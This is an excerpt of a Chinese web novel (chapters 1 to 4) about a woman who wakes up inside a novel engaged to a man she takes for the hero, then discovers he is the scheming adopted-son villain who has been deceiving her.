《穿书后反派将我视若珍宝》
1. 第 1 章
临江市是沿海城市,今天沈林两家的订婚宴特意选在邮轮上举行,伴着徐徐晚风,乐响与海浪共鸣。
这场婚事是豪门圈近几周的风流趣闻,谁也未曾想这名门望族沈家竟然在此公布一月后要和林家结亲。
比起世族沈家,林家在临江市还只是个资产排行第三的家族,配上历史传承极为悠久的沈家那是高攀,是高嫁。
人人都道林知妤命好。
华梦初醒,明灯似火,水晶吊灯折射出的璀璨光芒耀眼照人。
灯火酒乐还在楼下继续,二楼的贵客厅里坐着今天的两位主角。
“沈砚礼,我们聊聊。”
林知妤一身挂脖无袖连衣裙,衣裙上的珠光材质在水晶灯的照射下闪出细微艳光。
脖子上的珠宝在她脸庞的映衬下黯然失色,在耀眼的美貌面前,珠宝的点缀意义彻底具象化。
她一手提着裙子,一手伸在沈砚礼身前将他拦下。
男人神色如常,眸底不见情绪:“林小姐,我想,刚才已经说的很清楚了,这婚我不会退。”
“婚事非我所愿,我想你也不甘心自己未来的伴侣由一纸婚约决定。”
林知妤见他停顿,急忙提着裙摆站在他面前,她的目光焦急又慌乱,生怕他下一秒就无视她的言表,离开这间屋子。
“林小姐,你一再说不能结婚,理由呢?给我一个足够说服我的理由。”
沈砚礼退后两步,身体倚靠在钢琴外壳边等她的回答。
“不然,我很难答应你。”
“我……”林知妤眼神躲闪,这个问题她实在难以作答。
“林小姐,你要知道,集团之间联姻能带来的利益是无穷无尽的,那你呢,你说要悔婚,悔婚能给我带来什么?”
“我是商人,不做赔本买卖,你总得开出更高的价格以至于不让我空手而归。”
他环胸抱手,居高临下地看着她,林知妤手背在身后,她看着他长吸一口气然后重重落下。
沈砚礼见她不答起身就要走,林知妤看他执意离开的架势,咬咬牙一闭眼脱口而出:“我不是林知妤。”
“什么?”
男人行走的步伐瞬间停下。
“我不是林知妤。”
“准确来说不是真正的林知妤。”
半个月前,她在推文论坛上无意间刷到了这篇男频文。
《我在都市做领主》讲的是男主一朝逆袭将曾经欺压过他的反派踩在脚下成了豪门世族集团的掌权人,迎娶白富美的故事。
她看多了女频言情,也想尝尝男频文的咸淡,当天就去红色软件上寻找了这本书籍的帖子,打算先看看有没有排雷。
在刷遍软件后,没看到避雷反倒刷到了一堆书透,她将大体情节了解过后,对这本书的兴趣也越来越重,当即加入书架打算今晚通宵看完。
却没想到,被黑色软件上的助眠主播摆了一道,手机还没关她就已沉沉睡去,再醒来时就发现自己穿书了。
这倒好,别人穿书都是看完了才穿,她就看了那么一点书透和简介就被拉进来了,她甚至连男女主叫什么都不知道。
不过按照她所了解到的,现在应该是已经到大结局部分了,男主也就是沈砚礼已经成功打败了反派接手集团,迎娶她,也就是林知妤这个白富美。
“那既然已经到了大结局,是吧,你名利双收,什么都有了,不一定要迎娶我啊,我们家资产比起你实在是拿不出手,我甚至都谈不上是什么白富美。”
“林家才排行老三,那不是还有老大老二吗?比起我们家,他们的财力不是更雄厚吗?选择和他们联姻能给你带来的利益肯定大过我们家。”
“更何况,我是要回家的,我不能一辈子待在书里啊,你说是吧。”
她讲的头头是道,在讲到重点时甚至手掌包住拳头郑重一敲,企图引起他的共鸣。
沈砚礼眼底已经没了一开始听到的诧异,取而代之的是波澜不惊的平静,目光落在她脸上,像是想从中窥探出这番话有几成真几成假。
“怎么样?是不是觉得我说的不无道理,要不要再考虑一下?”
少女丝毫不在意他带着疑问的目光,她歪着脑袋去看他的眼睛,一脸期待他的回答。
沈砚礼忽地一声轻笑,温文儒雅的外表下,笑意在眉梢洋溢,似乎在笑自己竟然会为一个愚不可及的故事所停留,又似乎在笑讲故事的她。
“林小姐,故事讲的很生动,我很期待婚后能听到更具体版本的。”
林知妤“啧”的一声脸色突变:“诶,不是,你这人怎么不信呢,我认真的。”
沈砚礼笑意不减,眼帘微低,整个人弯下腰来和她对视。
这一举动吓得林知妤连连后退,他脸上没有不悦的表情,只是伸出食指和中指将林知妤的鬓角挽在耳后,缓声说道:
“我也是认真的。”
“好了,故事讲完了,今晚早点睡,明天该去挑婚纱了。”
他重新支起身子,无视林知妤僵硬的表情对她说道:“我来接你。”
临走时,他脚步一顿似乎想到了什么,侧头问她:“对了,这个反派,最后什么下场?”
“瞎眼断腿,最后,应该是死了。”林知妤拧眉眨了眨眼,一脸不惑。
不是不相信她说的话吗?问这个干嘛?
“瞎眼断腿吗?”他沉默片刻,低头喃喃自语。
林知妤没听见他最后说了什么,沈砚礼停顿少顷便离开了,贵客厅里只剩她一人。
林知妤头枕着沙发背仰头盯着天花板无助呐喊。
“我底牌都交出去了,怎么还行不通啊。”
回应她的只有房间内空荡的余音。
——
邮轮靠岸,沈砚礼先一步下了船,迈巴赫已经在岸口等待,陈助将后座车门拉开,他步伐停顿,长指搭在车窗上吩咐。
“去查一下林知妤近一个月的动向,连她吃什么,做什么都要一五一十的记录下来给我。”
陈助点点头应答:“是。”
车子沿路向东,大道长灯明亮,街道无人,浪涛敲打礁石,水花飞溅涌动。
陈助将电脑打开,屏幕朝向沈砚礼,随着手指在触控板上的两下点击,视频内容呈现在他眼前。
“沈隽今天带着陆公子见了柯董,那边有意要立陆公子上位。”
“吉安项目的负责人也已经转变成陆煜宸了。”
陈助将一份文件转交到沈砚礼手里,那是沈家近一周的动向。
沈砚礼随意翻了翻,上面的内容和他所料并无差入。
以沈隽的性格,他不会将族下财产分割给外人,陆煜宸回来了。
沈家便不会再有自己的容身之地。
他看着屏幕里一家洋溢的笑脸,往常温和的面容有了片刻裂痕,一双黑眸暗藏汹涌,空气骤然被低气压笼罩。
沈砚礼在外人眼里从来都是温和有礼的儒雅公子,这个面具一戴就是数年,他已经装了二十年的沈聿礼了,沈家还是不满意。
陈助又道:“还有就是林道海的事,媒体部门已经准备好了,公司内部亏空,资产被无故转移,银行那边也压了贷款。您看消息什么时候发布。”
沈砚礼微微眯起眼睛,瞳孔中是溢满而出的轻蔑,他突然想到了林知妤。
“先压着。”
他将文件合上扔到一旁。
比起退婚,林家还有张更大的牌可以用。
他的未婚妻,可别让他失望啊。
——
晨间雾气蒙蒙,街道像被层层轻纱掩埋,空气里都是露水蒸发的潮湿气息。
阴沉的空气更使人的心情郁闷,林知妤不情不愿地上了沈砚礼的车。
“
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你昨天晚上有没有认真思考我说的话。”她依旧不死心,手撑在扶手上向他询问。
“问多少次都一样,我不会悔婚。”
“不过你可以试试,或许你可以和伯父伯母谈谈。”
沈砚礼在看晨间纸报,回答她的同时目光仍落在上面。
他似乎对她的问题已经免疫,已经没有了刚开始的震惊,逐渐习以为常。
林知妤见他仍不改意无奈叹惋,偏头去看车窗外的风景。
她爸妈要是真这么好说话就好了,这可是第一豪门,谁会放着这棵大树不抱,要不是碍于这些礼仪仪式,她们巴不得立刻将她送到沈砚礼床上,生米煮成熟饭以免迟则生变。
没错,她就是这个变。
但是她实在翘不动这棵大树的嘴啊,让她就这么心甘情愿嫁人她更不乐意啊!
明明自己还只是个24岁黄花大闺女,大好年华就要她吊死在一颗树上。
天理何存,公道何在?
车子很快停稳,林知妤还在出神,直到男人出现在她面前的窗口为她拉开车门,沈砚礼很绅士,他站在一旁伸出手来扶她:“还不下来?
林知妤僵着脸礼貌笑笑,却之不恭搭上他的掌心。
“婚礼比较仓促,婚纱目前只能在这里定制了,望你体谅。”
“没关系没关系,我们可以缓个一年半载的再办也行的。”
下车一站稳,林知妤就松开了沈砚礼的手。
她手背在身后,高跟鞋踩在潮湿的草坪上,视野里是还未消散的雾气和跟前的男人。
林知妤加快步伐走在沈砚礼前头,回过身来倒步向前,她心里的算盘打的响亮,面上是难以遮掩的喜悦。
“我觉得我比较喜欢国外的婚纱,要不先缓个半年吧,我们去国外定制,做好了再结怎么样?”
少女眸光潋滟,她想退婚的心思全写在脸上,沈砚礼不难看出,不过由不得她。
他温声回应:“不怎么样,我的工作比较忙,或许我们可以省去这些繁杂步骤直接领证。”
这招狠,她认输。
林知妤丧气回头:“啊,这样,那算了,我觉得一个月挺好的,是吧,该有的还是不能少,毕竟是咱老祖宗流传下来的。”
沈砚礼低声笑笑,冲她点了点头:“行,那就一个月。”
婚纱基地门口已经有人在等待他们,黑裙工作人员将他们迎进里屋。
灰色的墙面在柔和的灯光下泛着哑光,沿着主通道向里走,两侧的架子上都挂满了各种样式的婚纱,拐角处出现了一间贵宾室,大门敞开,工作人员将他们带进。
屋内中央位置是一圈皮革沙发,设计师已经等待许久。
林知妤不懂这其中的门道,她没什么经验,看着手上的册子难以下手,沈砚礼似乎看出了她的难处,将手册接过放在桌上挑她感兴趣的给她讲解。
她细细听着,觉得好看的样式她就点头表示赞同。
商量了差不多,沈砚礼阖上册子朝工作人员吩咐:“行,那就这样,按着刚才说的做吧。”
他话音刚落,木门被人轻轻叩响,来人敲了两下后开门径直朝向沈砚礼,陈助在身旁站定,弯下腰在沈砚礼耳边低语。
林知妤假装不经意的稍稍偏头侧耳去听。
沈砚礼察觉,他掀起眼皮看了她一眼,神色不动,似是纵容。
“沈总,那位来了,应该是老爷子那边派来监督您的。”
助理在耳边道了两句,林知妤一刹那惊奇发现,他向来温和平静的面容不悦地皱了皱眉头,又很快隐藏。
再看时,他神色从容,仿佛刚才的反应是她的错觉。
助理刚直起身,门口就来人了。
那公子一副懒散模样,一身棕色西装,领口边上的扣子没系,两排锁骨一览无余,他站在门口拖腔带调地喊着:“小叔叔——”
2. 第 2 章
他一副嬉皮笑脸的模样,陆煜宸看到坐在一旁的林知妤,上下打量着她,目光不怀好意。
林知妤不舒服地皱了皱眉头,他的视线看的她汗毛直立。
“你来做什么?”身旁人开口,声音冷冽,不似刚才那般温和,她有些诧异地转过头去。
沈砚礼在她面前一贯平静柔和,脸上挂着温润的笑意,对人不冷不热的,很有距离感。
这似乎是第一次在他脸上见到不一样的神色。
“我能来做什么,爷爷不放心你,怕你欺负新媳妇,这不是派我来监督你了嘛。”
这话是说给沈砚礼听的,可他的目光却毫不避讳地在林知妤身上停留。
他径直走到沈砚礼对面的单人沙发上入座,慵懒地向后一靠对着她说:“你就是小婶婶吧,你好哦,我是你的新侄子陆煜宸,以后就是一家人了要多多关照噢。”
林知妤将他的一举一动都看在眼里,明面上礼貌点头笑笑,心里止不住吐槽。
这性格竟然能活到大结局?男主怎么忍住不动他的?
她一边这么想着一边转头去看沈砚礼的表情,他神色平静,眉头舒展。
他不动声色地喝了一口手里的咖啡,对林知妤探究地表情不置可否。
沈砚礼将茶杯置于杯托上发出玻璃脆响,没去理会来人,对着她淡淡开口:“走吧,我送你回去。”
林知妤也不想继续在这待着了,现在的氛围非常微妙,有种说不上来的诡异感。
她点点头,随后又摇摇头,下腹一股暖流让她感觉有点大事不妙。
“我去下洗手间。”,她说。
她刚穿进来将近半月有余,并不清楚原身例假的具体日期,以防万一还是查证一下为好。
确认无事后,她洗了手拿着纸巾站在门外的垃圾桶旁擦手。
陆煜宸就在这时走近,他指尖夹着还未燃尽的烟头,还未等走近,话音先一步落入她耳畔。
“小婶婶也在啊,好巧。”
他拖腔带调的嗓音不难分辨,林知妤不用抬头也知道是他。
特意出来见自己,想必是有话要说。
她想明白了,这男的能留到现在要不就是时候未到,要不就是手上有男主需要的东西。
能存活到大结局的,都是有点实力在身上,不容小觑。
“小婶婶,我告诉你个惊天大秘密怎么样?”
他信步走近:“你这个未婚夫,他呀——”
“和我们沈家没一点血缘关系哦。”
陆煜宸将烟头摁在垃圾桶上方灭烟孔板上,借着这个架势他在林知妤耳旁轻语。
林知妤一时错愣不及躲闪,震惊地侧头去看陆煜宸。
两人相靠极近,呼吸交错,再进一寸她的鼻尖就能触碰到他。
“林知妤。”
男声低沉,音线偏冷,这声连名带姓的音道唤回了她的神绪,她不自在地摸了摸鼻头,向旁边挪了挪身体。
沈砚礼站在5米外的长廊拐角处,他从来都是唤她“林小姐”,第一次从他嘴里听见她的名字,结合现在的情景。
她突然有种被捉奸的既视感。
厕所外的长廊顶上装的射灯,他的面容一半都藏匿在黑暗下,他眼眸漆黑,慢条斯理地说:“到我身边来。”
她不自在的清了清嗓,似乎没有不过去的理由,毕竟她现在是他名义上的未婚妻。
她在前面走着,陆煜宸在后面笑:“小叔叔,你太紧张了吧,我只是和小婶婶打打招呼,不会把她怎样。”
她在沈砚礼旁边站定,他的眼底带着她察觉不到的探究,半响过后,才轻声开口:“回去吧。”
“嗯。”她点点头,心思飘到九霄云外。
怎么有种修罗场的感觉,男频文女主也有这种待遇吗?
“再见啊,小婶婶,下次见。”陆煜宸在身后喊着,也不顾她会不会理,仿佛在存心隔应沈砚礼。
晨曦微光洒进车里,因为陆煜宸的搅黄,他们在婚纱基地待的时间并不算长,指针指向11点,还未到午饭时间。
车内寂寂无声,与来时的氛围格外不同,在这之前,她与沈砚礼一直保持着一种礼貌的安全距离,即使路上不说话两个半熟的人气氛不至于太过尴尬。
经过这么一遭,车内的空气仿佛被冻结般冰凉,林知妤和他待在一个空间感觉浑身不自在。
“他和你说了什么?”
沈砚礼率先打破沉寂,他长腿交叠,手搭在扶手上。
“也没什么,就是说你和沈家没血缘关系。”对于沈砚礼的突然开口,她面色一怔,随即答道。
“不过这个事我能猜到。”她眉眼带着笑意,看着他的眼神无比认真,“主角就是这样的嘛,身世比较凄惨,靠着自身努力一步步走上金字塔,我懂我懂。”
她似乎并不在意沈砚礼相不相信她说的话,她只是说着,将她通过书透所分析出的主角凄惨身世给他一一道来。
沈砚礼看着她的表情越发深沉,嘴角一霎那带着一抹不易察觉地自嘲,却又马上恢复如常。
“对了,他是你侄子的话,为什么他姓陆不姓沈?”林知妤突然想到了什么,戛然而止了她的推测向他问道。
“他随母姓。”
这个回答有点使林知妤震惊:“大家族竟然还能允许他随母姓?看来他爸爸很爱他的妈妈。”
沈砚礼眉心微挑,笑而不语。
林知妤八卦之心燃起:“亲的吗?”
“表的。”他顿了顿,不想再和她继续这个话题:“晚上有时间吗?”
“如果要约我,那就没时间。”林知妤非常严肃地朝他摇头。
今天定制个婚纱已经够了,凡事循规蹈矩慢慢来才好,她还没想好今后的打算,如果要逃婚的话,现在就要开始准备了。
至于沈砚礼,他作为主角肯定会有人前仆后继为了他补上这个新娘的空缺,既然决定逃婚还是要保持距离才行,不能再有过多接触。
“晚上是家父生宴,作为未婚妻,不是最应该到场?”他手撑着下巴,唇角挂着似有若无的笑意。
林知妤哑口无言,她拧眉感叹,真不是时候。
见她失意,沈砚礼似乎心情大好,他抬了抬手表看了一眼时间,车子已经稳稳当当停在了林家地下停车场:“那么,晚上见?”
她勾着唇假笑,不予以回应。
室内电梯缓缓上升,随
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后在二楼停稳,客厅内一家的欢声笑语在她踏出电梯口时戛然而止。
“妤儿回来了?婚纱试的怎么样?沈砚礼满不满意?”
坐在单人沙发上的男性率先开口,他是“林知妤”的父亲,一个典型的娶了后妈就把继妹当宝弃她当草的渣爹。
“是啊姐姐,我们家的希望可就在你身上了,沈家点名要你,要不然这位置可是我的。”
随后开口的就是“她”这个同父异母的妹妹,巴不得现在就换上婚纱替嫁,她逃婚后的有力人选,有她这个继妹在,她对自己逃婚机会的可行度再上一个台阶。
在沙发上默不作声的女士就是她的后妈,一副优良苏德模样,背地里那是往死的折磨原主。
一家的无脑人设,林知妤表示汗颜。
“定下了,已经开始做了。”她向父亲点点头。
“嗯那就好,晚上沈家晚宴你仔细打扮打扮,别给咱家丢脸了。”林道海嘱咐道。
“好。”林知妤笑以回应。
沙发上母女阴沉沉地表情她看在眼里,在柱子后林道海看不见的地方朝林雨欣一挑眉。
“妈!”
她的指控无从下口,林雨欣再回过头时,柱子后已不见人影。
男频文也是好的,至少在这一家的战力等级上,在女频面前那是小case。
林知妤躺在大床上偷笑着自己刚才的幼稚行为,细算着她逃婚的可能性。
——
晚宴如期而至,沈家作为名门望族,来参宴的人不少,大多是为了结交权贵,攀登云巅。
银坞会所里,金属瓦屏与素墙构造出不一样的新中式风格,宴会还未开始,与古典乐旋律交织的是来宾们沸沸扬扬的八卦声。
“这沈家真是接二连三的喜事啊,又是认祖归宗又是联姻定亲的。”
“是啊,这已经是半个月来办的第三场晚宴了吧,每一场规模都不同,配置还是这么奢华,不愧是第一世家。”
“那可不,这林家真是赚了呀,听说林氏内部已经腐朽不堪,马上撑不下去了,要没有这场联姻,他不出半月绝对破产。”
“好了好了别说,来人了。”
众人视线聚焦门口,见到她的一瞬间,呼吸猛地一滞,宴厅正门处,女子一身暗繁花礼裙,简约复古的盘发,将她的颈部线条和精致的五官完美展现,凸显出浓浓的古典韵味。
林知妤无视四面八方涌来的目光,跟着来人的指引穿过宴会厅就要向后方的电梯间走去。
拖地长裙被人猛的一踩,她感受到一股来自身后的阻力让她不得已停下来。
“你就是林知妤?”
身后尖锐地女声响起,她拧眉看去,女子手里拿着杯喝了一半的红酒,她的鞋尖毫不遮掩的踩在林知妤的裙摆上。
她皱了皱眉头,面前女生的眼神里带着对她的轻视和敌意。
来者不善。
“我是,怎么了?”她耐着性子回答。
这毕竟是别人家设宴,自己既不是东道主,也不是贵宾,不好与人争执。
她是这么想的,但很显然,她面前的女生不是,在听完她肯定的回答后,毫不留情的将红酒倒在她的裙摆上。
3. 第 3 章
银坞会所内灯火通明,林知妤作为近几日的豪门圈“名人”,所到之处皆是目光所向。
来者一身红色吊带长裙,浓眉红唇,捏着酒杯的手上红宝石戒指珠光璀璨。
她挑着浓眉好整以暇地看着她,将红酒悉数洒下,眼底满是挑衅。
她这一举,让原本觥筹交错的会所,静了一瞬。
未来不出意外的话,她就是沈家的当家主母,谁会没眼力见的在这个时候上去为难。
简直是自取其辱。
她的指尖在空了的酒杯壁上叩响,直到挂在杯壁上的余量滴落,才不慌不忙地收回。
明目张胆地戏弄。
林知妤冷眼瞧着她此举,沉默了几秒,悠悠开口:“小姐,你是?”
看看吧,这就是没看过书就穿越了的下场,连对手是谁都不知道。
男频文结局的什么奇奇怪怪爽点吗?也有女主戏份?
她左右环绕四周,场上的目光大多都聚焦在她们身上,再回过头来定定回视女人的目光。
如果是这样的话,男主应该马上就要登场了。
为了他心爱的未婚妻拔刀相助。
可以算是爽点。
林知妤心里点头赞同,默默等待沈砚礼的援助。
女人似乎因她的这声质疑破了防:“你连我是谁都不知道?”
那她刚才的挑衅在她眼里成什么了?
这场景她已经演练了不下数回,只为当众给她个难堪,好让她明白当家主母可不是那么好当的。
她都要嫁进来了,家族关系没有人给她普及的吗?
季羡林手指缓缓捏紧酒杯,脸上僵硬挂着不自在的表情,她定了定神:“我是谁不重要,重要的是——”
沈家不是那么好进的。
她话未落尽,旋转楼梯上传来脚步,打断了她的话语。
众人视线缓缓上移,林知妤也顺着目光看去。
看见来人,她心里的小人一阵活跃。
来了来了,男主来了。
就见沈砚礼单手扯着领带步步朝前,居高临下迎视着她的目光,光影折射中,深瞳不带任何情绪。
上位者与生俱来的凌冽气场席卷全场,一瞬间会所鸦雀无声。
也许是沈砚礼对她的态度太过于温和有礼,以至于让她忘了一步步爬上高位的男主怎么会只是她所看到的那般柔和。
他信步走到她身旁停下脚步,似乎知道她被刁难,目光只是淡淡扫了她一眼就移到了季羡林身上。
“侄——媳?”
声线疏离清冷,带着不容忽视的压迫感。
男人眼底透露审视,这样的目光让季羡林格外不自在,她一见到沈砚礼就发糗。
他身上的气场有种难以言表地低沉紧紧压迫着她,季羡林咽了咽口水捏着酒杯的食指用力到泛白。
“小叔叔。”
她不情愿地开口,没等来上位者的答复,指尖在拳中用力到发抖,似是难以启齿,她知道沈砚礼摆明了就是在给林知妤撑腰。
“小婶婶。”她道。
季羡林咬咬牙,她的靠山不在只能忍气吞声,鞠躬问礼的身躯在旁人看不见的地方恶狠狠地盯着下方,似是要将地板看穿。
沈砚礼点点头,对她的言语表示满意,身旁林知妤的目光炽热到难以忽视。
她攥着衣角示意他低头,沈砚礼微微低下配合,就见她在长裙的掩饰下悄悄给他竖大拇指。
视线在她手上顿了两秒,他极淡地笑了笑。
林知妤微微垫脚抬头,在他耳畔低语:“两个字,秒杀!”
她笑的恣意,毫不掩饰。
连带着沈砚礼都被她所感染。
这桩婚事带给他的惊喜层出不穷。
沈砚礼勾唇轻笑:似乎还远不止于此。
季羡林将这一切都看在眼里,她恨的咬紧牙关,斜睨正门祈祷着什么。
门口一片躁动时,她就知道她的靠山来了。
这场晚宴的主人公姗姗来迟,他拄着拐杖向前,身后是今早刚见过面的陆煜宸。
他走的缓慢,态度和气,场上目光逐渐聚拢,众人向他簇拥着。
沈隽在林知妤面前站定,还未开口,季羡林一下就扑到了他怀里:“爷爷,你怎么才来呀。”
她神情自然,不知道的还以为她不是侄媳而是亲孙女。
沈隽开怀一笑并不排斥她的行为,尽显岁月沧桑的手掌在她肩上拍了拍:“这是大日子,肯定要好好打扮一番,只许你装扮自己不许爷爷吗?”
“哼,才不是,我只是想你了嘛”她甜甜的哄着。
身后的陆煜宸将她拉起来叫她别闹爷爷,女孩不服气地嘟嘟唇神色却无半分不满。
季羡林依靠在陆煜宸身上看向她的目光带着挑衅,好像在说:我的靠山来了。
这一幕看的林知妤紧皱眉头,她和沈砚礼就这么站在一旁看他们一家互动,这感觉似乎不对。
他们仿佛是被排斥在外。
林知妤抬眼去看他的反应,沈砚礼神情淡淡并没有她想象中的伤悲流露在外。
他察觉到了身旁人的疑问,也不说话,骨节分明的大手在她手背上拍了拍,看向她的目光里带着安抚。
老者深沉地声音打断了林知妤的思绪,他和气地笑问:“林小姐,怎么样玩得开心吗?”
他和蔼的笑容打掉了疑想。
长辈都更喜欢活力满满的小孩,所以才会让她产生这种错觉吧。
“可以的,谢谢您的邀请,沈叔叔。”林知妤颔首回答。
“好好好,那就好,那咱们就开始吧。”他拍了拍陆煜宸的手臂,示意她和他们一起去到场所中央。
沈隽站在堆成金字塔形的酒杯前,将整瓶红酒悉数倒下,一瓶灌满就会溢到下一排,层层叠叠直到全部盛满。
仪式结束就是轰轰烈烈的击掌声,自此晚宴才正式开始。
季羡林挽着陆煜宸的手臂站在沈隽身边,她和沈砚礼在他们身后。
林知妤被酒杯的盛景吸引了目光,没有注意到这一刻的光景和沈砚礼厌烦的神情。
——
晚宴结束的很快,迈巴赫在街头行驶着,夜晚的微风带着些许凉意,街头长灯高照,却没什么行人,有着说不清道不明的凄凉感。
长时间的假笑让她的面部紧绷难受,林知妤揉了揉脸颊缓解。
少女倚靠着座椅,双手掌心轻柔脸颊,身上的长裙已经换成一字肩青色薄纱裙,刚才拖尾浸酒,沈砚礼带她回贵宾室换了一身。
青色刺绣薄纱贴着肌肤,隐约透着纤白细腿。
沈砚礼调整袖扣的动作一滞,他不动声色地将手边上的西装外套顺势盖在她腿上。
“披一披,酒精上头我调低了温度,别着凉。”
他平静的话语让人挑不出一点错处,林知妤并未察觉异常,她点点头,甚至还在心里夸赞他绅士风度。
他捏了捏眉心,再度看向她:“我们聊聊?”
这个提议林知妤十分感兴趣,她扶着扶手两眼放光:“要悔婚?”
少女欢呼雀跃的神情入目,沈砚礼甚至有些不愿让她失望。
他无奈摇头:“不是。”
林知妤又问“延迟婚礼?”
“不会。”
此话一出断了她所有的兴趣,她像朵蔫了吧唧的枯花失去了水分。
不是悔婚,那她不想聊了。
还不如多想想怎么逃婚。
“我知道你在想着逃婚。”男人轻易戳穿了她的想法。
林知妤也不反驳,将头转向窗外,显然不乐意再与他谈。
“我暂且相信你的故事。”
“你说你想回家,那你找到方法了吗?”
她不可置信地转过头,没料到他要聊的是这个。
林知妤摇了摇头表示没有。
“那你现在在这个家,过的并不好不是吗?没有人帮你如何回去,每天应付她们你也无暇思考,至少嫁给我不用考虑这些,你可以慢慢想怎么回去,我也能帮你。”
“更何况,你一走了之又能走多远,或许你回家的方法还在这个城市。”
他徐徐图之,为她分析利弊。
林知妤皱着眉头不知道他在打的什么主意,但是他的话她确实听进去了。
他说的不无道理。
“你说结局是迎娶白富美,会不会完成了这个,故事结局了你也就能回家了呢?”
他像是在认真为她考虑。
这句话使得林知妤猛的一下坐起来。
是哦,小说完结了她不就没用了,没用了不就可以回家了?
她突如其来的大动作使得外套滑落。
她肯定的点了点头,十分认同沈砚礼的观点。
他不动声色
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地将外套拾起,林知妤制止了他要再度为她披上的动作。
她有些激动,双手紧握沈砚礼的掌心:“我觉得你说的不无道理,我们先试试这个方法吧。”
他任凭她握着掌心,唇角勾起一抹笑意:“那说好了?”
“说好了说好了。”
——
面对婚礼的到来,林知妤甚至有些激动。
虽然她昨天已经和沈砚礼领完结婚证了,现在只是差个仪式。
看着满堂宾客,她心底还是没来由的开始紧张。
这场婚事饱受各界关注,从订婚开始就有各种争议,谁都想知道林氏是怎么搭上沈家这艘大船的,各种猜测版本层出不穷。
随着婚礼进行曲的旋律进行,林知妤挽着林道海步入殿堂。
粉色玫瑰铺满全场,仪式台边上是高悬长空的气球,长台的尽头沈砚礼在等她。
纱裙上点缀着满钻,柔和的光线洒在她身上,蕾丝裙摆随着走动发出细闪。
少女眉眼含光看他,嘴角上扬,她昳丽的五官在光线下越发明媚,沈砚礼指腹微动。
心中复杂情绪泛滥成灾。
他向林知妤伸出手掌,温热的掌心触及指尖,修长的手指为她带上戒指。
台下掌声热烈,林知妤低头看着钻戒。
不知是两人十指相扣的手指还是10克拉方钻的触感。
这感觉很奇妙。
一种说不上来的奇妙。
台下的季羡林在向她举杯,嘴里念叨着什么,她看不清。
仪式结束她就躲回了化妆室,今天到场的人都是冲着沈砚礼来的。
不关她的事,林知妤乐的清闲伏靠在沙发上转着戒指把玩。
证也领了,婚也结了。
然后呢?
什么时候能回去?
她左思右想,百思不得其解,伸长手臂将戒指拿在手上端详。
下一刻,房门被人从外推开,她条件反射地坐起来,以为是沈砚礼回来了。
季羡林环抱手臂倚靠在门板上对她挑眉:“surprise。”
“……”
看清来人,林知妤无声地翻了翻白眼。
“你来做什么?”
她环视了一圈,手上拿着化妆台上的口红一阵一阵开合,目光紧盯林知妤:“当然是来欢迎你呀。”
“什么?”林知妤不解。
“欢迎你——”
“来到地狱。”
季羡林笑得张扬,一步步向林知妤走去,口红盖被她丢弃在桌上,在林知妤疑惑的表情下,将艳红的口红转出,用力地按压在茶几上。
“你还不知道吧?沈砚礼可不是我们沈家血脉。”
这事陆煜宸也提过,林知妤皱着眉头,不知道他们小两口在想什么,一个两个的都上赶着来告诉她。
她不紧不慢地将口红来回碾压:“亲孙子回来了,假儿子自然而然就该让位了。”
“不是吗?”
在明亮炽白的灯光下,她笑得恣意妄为。
林知妤愣了神。
什么意思?
怎么还要让位?不是大结局了吗?
“小婶婶——”
“你,压错宝了。”
铜管摩擦玻璃桌发出“吱呀”声响,刺耳尖锐声下,她甩掉空壳,很满意林知妤震惊的表情,没给她缓过神的时间就向外走。
只留林知妤一人在房间出神。
她隐约猜出了什么,目光落在大敞的门口。
沈砚礼在骗她。
等到他时,已近黄昏,林知妤呆坐在沙发上,门口传来动静。
他似乎脸色不是很好,外套挂在手肘,手指捏了捏眉心。
“要回去吗?”他问。
林知妤盯着他的眼睛,沉默不语。
不见她回答,沈砚礼以为她生气了,他还是从前那般温柔,在她身旁坐下,保持着绅士距离:“怎么了?等无聊了吗?我很抱歉,应该早点来的。”
她长吸一口气,努力让自己冷静:“你相信我的故事,对吗?”
“所以娶我。”
声音里带着不可控制地怒意,沈砚礼在解表带的动作霎的一顿。
“你不是男主,对吗?其实故事才刚刚开始,你一直都知道,一直在骗我。”
她再开口时,眼尾已开始泛红。
。
4. 第 4 章
蕾丝纱帘扫过桌面,窗口大开能依稀听见楼下宾客的喧哗声,此时屋内寂静无声,两相交错间,形成对比。
小姑娘眼眶微红,泪光潋滟,沈砚礼解表带的动作一顿,想过林知妤总有一天会来找自己对峙,但没想到这一天会来的这么快。
“我从未承认过。”
沈砚礼停下手里的动作,他面容平静如常仿佛这件事与他毫无关系。
可那藏于腿侧的长指微颤,又似揭露失态。
“你也没有否认不是吗?”
林知妤扭过头将泪水强忍下不去看他,内心除了因沈砚礼的隐瞒而生感的酸涩,更多的是不能回到现实的忧郁。
“婚事深究久远,是早就定下的,我知道你心里不愿,但是你逃婚了留给两家的只有无穷止尽的蜚语。”,他轻扯过林知妤的手腕,垂眸对视:“抱歉,这件事是我不好,让你不舒服了。”
她的骨架纤小,半掌就能握尽,汗珠浸湿发丝,紧贴额头,眼尾还留有余红,确有娇楚美人之姿。
见她不答,再开口时嗓音都不自觉淡了些:“你不用担心,我给的承诺不会变,我会说到做到送你回家。”
灯光下,男人黑瞳似深渊巨口,神色幽暗窥探不清,却隐约透露出丝丝狠厉。
在解决沈家所有毒瘤之后。
他会履行承诺。
林知妤唇角轻扯,嗤笑一声,自己当然不会相信一个反派给的承诺,她不动声色将手腕收回。
自从猜出他实为反派却蓄意隐瞒,这可以见明他的心机深沉。
若是只有故事结局了自己才能穿回去,那结局的沈砚礼怕是做不到了,依稀记得书中反派的下场十分凄惨。
林知妤双眸一眨不眨,直盯着他。
有那么一瞬间,她甚至想着他怎么还不死——
可是至今为止,他还没做过对自己不好的事,不该想诅咒这种恶毒的话。
掌心柔然的触感被抽离,映入眼帘的厌气,沈砚礼也不恼,他有心哄她,嗓音似水徐徐道之:“不相信没关系,我们慢慢来。”
他一副平心静气的模样,丝毫没有如临大敌的仓皇,看在林知妤眼里,她忍不住想提醒:“你到底知不知道——”
你的下场很惨。
你要死了知不知道?
这话挂在嘴边,却怎么也说不出口,因他温和细致的关照,又或是这张清隽面容都让她难以出口。
额头碎发被长指拨开,他贴近了三分:“我给你时间考虑,还想谈的话,我们换个地方?”
夜色无边,主人公早早离席,楼下宾客便也零零散散走的差不多,沈隽携家眷还在楼下等着。
林知妤明白这句话什么意思,依据剧情发展,在如今的沈家,沈砚礼作为养子掌权,处境十分尴尬,他做事滴水不漏,不容人找出破绽逐他下位,整个沈家看似表面静好,实则暗流涌动。
